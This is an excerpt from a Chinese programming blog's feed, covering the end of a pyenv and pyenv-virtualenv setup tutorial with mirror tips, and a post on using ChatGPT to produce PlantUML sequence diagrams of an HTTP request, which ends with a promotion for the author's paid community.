&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;command -v pyenv &amp;gt;/dev/null || export PATH=&amp;quot;$PYENV_ROOT/bin:$PATH&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;eval &amp;quot;$(pyenv init -)&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;3、重启shell&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="nv"&gt;SHELL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装请参考：https://github.com/pyenv/pyenv#installation&lt;/p&gt;
&lt;h3&gt;4、pyenv使用&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@xxxxxx&lt;span class="w"&gt; &lt;/span&gt;.pyenv&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# pyenv&lt;/span&gt;
pyenv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.2.2-10-g943c5f9
Usage:&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;command&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;args&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;

Some&lt;span class="w"&gt; &lt;/span&gt;useful&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;commands&lt;span class="w"&gt; &lt;/span&gt;are:
&lt;span class="w"&gt;   &lt;/span&gt;commands&lt;span class="w"&gt;    &lt;/span&gt;List&lt;span class="w"&gt; &lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;available&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;commands
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;Run&lt;span class="w"&gt; &lt;/span&gt;an&lt;span class="w"&gt; &lt;/span&gt;executable&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;selected&lt;span class="w"&gt; &lt;/span&gt;Python&lt;span class="w"&gt; &lt;/span&gt;version
&lt;span class="w"&gt;   &lt;/span&gt;global&lt;span class="w"&gt;      &lt;/span&gt;Set&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;show&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;global&lt;span class="w"&gt; &lt;/span&gt;Python&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;Display&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;hooks&lt;span class="w"&gt;       &lt;/span&gt;List&lt;span class="w"&gt; &lt;/span&gt;hook&lt;span class="w"&gt; &lt;/span&gt;scripts&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;given&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;init&lt;span class="w"&gt;        &lt;/span&gt;Configure&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;environment&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pyenv
&lt;span class="w"&gt;   &lt;/span&gt;install&lt;span class="w"&gt;     &lt;/span&gt;Install&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;Python&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;using&lt;span class="w"&gt; &lt;/span&gt;python-build
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;Set&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;show&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;application-specific&lt;span class="w"&gt; &lt;/span&gt;Python&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;prefix&lt;span class="w"&gt;      &lt;/span&gt;Display&lt;span class="w"&gt; &lt;/span&gt;prefix&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;Python&lt;span class="w"&gt; &lt;/span&gt;version
&lt;span class="w"&gt;   &lt;/span&gt;rehash&lt;span class="w"&gt;      &lt;/span&gt;Rehash&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;shims&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;this&lt;span class="w"&gt; &lt;/span&gt;after&lt;span class="w"&gt; &lt;/span&gt;installing&lt;span class="w"&gt; &lt;/span&gt;executables&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;root&lt;span class="w"&gt;        &lt;/span&gt;Display&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;directory&lt;span class="w"&gt; &lt;/span&gt;where&lt;span class="w"&gt; &lt;/span&gt;versions&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;shims&lt;span class="w"&gt; &lt;/span&gt;are&lt;span class="w"&gt; &lt;/span&gt;kept
&lt;span class="w"&gt;   &lt;/span&gt;shell&lt;span class="w"&gt;       &lt;/span&gt;Set&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;show&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;shell-specific&lt;span class="w"&gt; &lt;/span&gt;Python&lt;span class="w"&gt; &lt;/span&gt;version
&lt;span class="w"&gt;   &lt;/span&gt;shims&lt;span class="w"&gt;       &lt;/span&gt;List&lt;span class="w"&gt; &lt;/span&gt;existing&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;shims
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;查看已安装版本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;versions
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;删除指定版本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;uninstall&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;saletraing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;查看可安装的python版本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装指定版本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.7.12
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装时，可能出现错误&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;python-build: line 1736: patch: command not found&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这时候需要安装一个patch&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yum install patch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;创建虚拟环境时，需要先下载指定的版本&lt;/p&gt;
&lt;h3&gt;5、使用 virtualenv&lt;/h3&gt;
&lt;p&gt;下载virtualenv 插件到 pyenv根目录下的plugins目录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/pyenv/pyenv-virtualenv.git&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="k"&gt;)&lt;/span&gt;/plugins/pyenv-virtualenv

&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;eval &amp;quot;$(pyenv virtualenv-init -)&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;重启shell&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$SHELL&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;装了vritualenv 后，就可以使用pyenv结合virtualenv使用虚拟环境了。 安装参考 https://github.com/pyenv/pyenv-virtualenv&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 创建一个3.6.5版本的虚拟环境, 命名为v365env, 然后激活虚拟环境&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;virtualenv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.6.5&lt;span class="w"&gt; &lt;/span&gt;v365env
$&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;activate&lt;span class="w"&gt; &lt;/span&gt;v365env
&lt;span class="c1"&gt;# 关闭虚拟环境&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;deactivate&lt;span class="w"&gt; &lt;/span&gt;v365env
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;列出当前虚拟环境&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pyenv&lt;span class="w"&gt; &lt;/span&gt;virtualenvs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;常见错误&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;/root/.pyenv/plugins/python-build/bin/python-build: line 1646: patch: command not found&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;yum install patch&lt;/p&gt;
&lt;p&gt;The Python ssl extension was not compiled. Missing the OpenSSL lib&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;CPPFLAGS&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="nv"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;openssl11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;\
&lt;span class="nv"&gt;LDFLAGS&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="nv"&gt;L&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lib64&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;openssl11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;\
&lt;span class="nv"&gt;pyenv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;.&lt;span class="mi"&gt;10&lt;/span&gt;.&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;安装python慢&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;设置淘宝镜像&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PYTHON_BUILD_MIRROR_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://npm.taobao.org/mirrors/python/&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;更多问题请参考：https://github.com/pyenv/pyenv/wiki/Common-build-problems#error-the-python-ssl-extension-was-not-compiled-missing-the-openssl-lib&lt;/p&gt;
&lt;h4&gt;pyenv 安装慢问题&lt;/h4&gt;
&lt;p&gt;命令行一键安装如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2.7.16&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wget&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://mirrors.huaweicloud.com/python/$version/Python-$version.tar.xz&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;pyenv&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/;&lt;/span&gt;&lt;span class="nt"&gt;pyenv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="Python"/><category term="pyenv"/></entry><entry><title>用ChatGPT来画UML图</title><link href="https://foofish.net/chatgpt-draw-uml-graph.html" rel="alternate"/><published>2023-04-13T19:44:01+08:00</published><updated>2023-04-13T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-13:/chatgpt-draw-uml-graph.html</id><summary type="html">&lt;p&gt;我们平时写一些技术说明类的文档时，一般离不开UML图，毕竟一图胜千言。平常用的UML工具以拖拉拽居多，你要对整个流程图的每一个元素都搞 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;我们平时写一些技术说明类的文档时，一般离不开UML图，毕竟一图胜千言。平常用的UML工具以拖拉拽居多，你要对整个流程图的每一个元素都搞清楚了才能动手。&lt;/p&gt;
&lt;p&gt;举例来说，我要写一篇关于“一次完整的HTTP请求”有哪几个步骤，我想用UML图来作示例时，我们脑海里首先就要对整个过程完全了解你才知道怎么画，当然，你也可以先上网搜索下流程。&lt;/p&gt;
&lt;p&gt;现在如果我要借用ChatGPT来做的话，我只要给它一个指令&lt;/p&gt;
&lt;p&gt;因为ChatGPT现在还没发直接生成图，我们这里配合PlatUML实现，PlantUML 是一款能用简单文字秒速就可以画UML图的开源工具。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;一次完整的HTTP请求过程是什么样的？请配合plantuml描述
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;第一次我给的prompt指令很简单，给我的回答是&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="n"&gt;startuml&lt;/span&gt;

&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AWSPUML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//raw.githubusercontent.com/awslabs/aws-icons-for-plantuml/v14.0&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;includeurl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AWSPUML&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;AWSCommon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;puml&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;includeurl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AWSPUML&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;puml&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;includeurl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AWSPUML&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;puml&lt;/span&gt;

&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;
&lt;span class="n"&gt;participant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;HTTP Client&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;
&lt;span class="n"&gt;participant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;HTTP Server&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpServer&lt;/span&gt;
&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Server&lt;/span&gt;

&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;发起请求&lt;/span&gt;
&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;建立连接&lt;/span&gt;
&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;发送请求&lt;/span&gt;
&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;处理请求&lt;/span&gt;
&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;返回处理结果&lt;/span&gt;
&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;发送响应&lt;/span&gt;
&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;处理响应&lt;/span&gt;
&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;关闭连接&lt;/span&gt;
&lt;span class="n"&gt;HttpServer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HttpClient&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;确认关闭&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="n"&gt;enduml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;因为它给我的回答中引入了一个外链，而且外面无法打开，没发用PlantUML生成图。这时候我可以接着提问&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;plantuml 中的链接打不开，请换一个
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后它乖乖的给我去掉的依赖外部的图标链接，我们把代码贴到plantuml平台：http://www.plantuml.com/plantuml/uml/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230413233057004" src="../../images/image-20230413233057004.png"&gt;&lt;/p&gt;
&lt;p&gt;点击 Submit 后，流程图就生成了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230413232835513" src="../../images/image-20230413232835513.png"&gt;&lt;/p&gt;
&lt;p&gt;当然，我还可以继续给它提要求，毕竟我是花了200块（购买Plus会员）请的它，我希望它再详细一点，把TCP流程也加上&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;能在详细一点吗，包括TCP的三次握手
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20230413233517654" src="../../images/image-20230413233517654.png"&gt;&lt;/p&gt;
&lt;p&gt;这个序列图展示了一个详细的HTTP请求过程，包括TCP三次握手和四次挥手。首先，TCP客户端通过三次握手与TCP服务器建立连接。然后，HTTP客户端将请求发送给HTTP服务器。接着，服务器处理请求并将处理结果返回给HTTP服务器。HTTP服务器将响应发送给HTTP客户端，客户端处理响应。&lt;/p&gt;
&lt;p&gt;接下来，TCP客户端通过四次挥手与TCP服务器断开连接。最后，客户端和HTTP客户端释放资源。&lt;/p&gt;
&lt;p&gt;是不是真香。&lt;/p&gt;
&lt;p&gt;如果你有开发能力的话，你完全可以把ChatGPT和PlantUML结合起来包装成一个产品，进一步提升操作效率，给用户带来极大的便利，还能通过该产品向用户提供付费模式，最终实现赚钱的小目标。&lt;/p&gt;
&lt;p&gt;推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>为什么ChatGPT 使用 Python实现？</title><link href="https://foofish.net/chatgpt-implement-by-python.html" rel="alternate"/><published>2023-04-11T19:44:01+08:00</published><updated>2023-04-11T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-11:/chatgpt-implement-by-python.html</id><summary type="html">&lt;p&gt;可能你不知道， ChatGPT这个网站的后端是用Python实现的。&lt;/p&gt;
&lt;p&gt;在一些人眼里，Python只能用来写写脚本、搞搞爬虫、做些小项目之类的，其实这是对Python的最大偏见。&lt;/p&gt;
&lt;p&gt;因为Python早就被证明可以应用在大型项目中，特别是国外很多大产品，比如 YouTube、Instagram、Quera …&lt;/p&gt;</summary><content type="html">&lt;p&gt;可能你不知道， ChatGPT这个网站的后端是用Python实现的。&lt;/p&gt;
